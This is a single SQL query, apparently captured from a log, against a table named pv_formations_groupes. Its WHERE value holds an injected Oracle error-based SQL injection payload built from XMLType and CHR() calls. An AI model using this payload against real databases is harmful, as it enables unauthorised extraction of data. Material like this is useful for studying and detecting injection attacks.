SELECT *
	FROM pv_formations_groupes
	WHERE id_formation_groupe = '-3570 ')AND 9874=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||0x5a6c73||(SELECT (CASE WHEN (9874=9874) THEN 1 ELSE 0 END) FROM DUAL)||0x465564||CHR(62))) FROM DUAL)-- Qb19'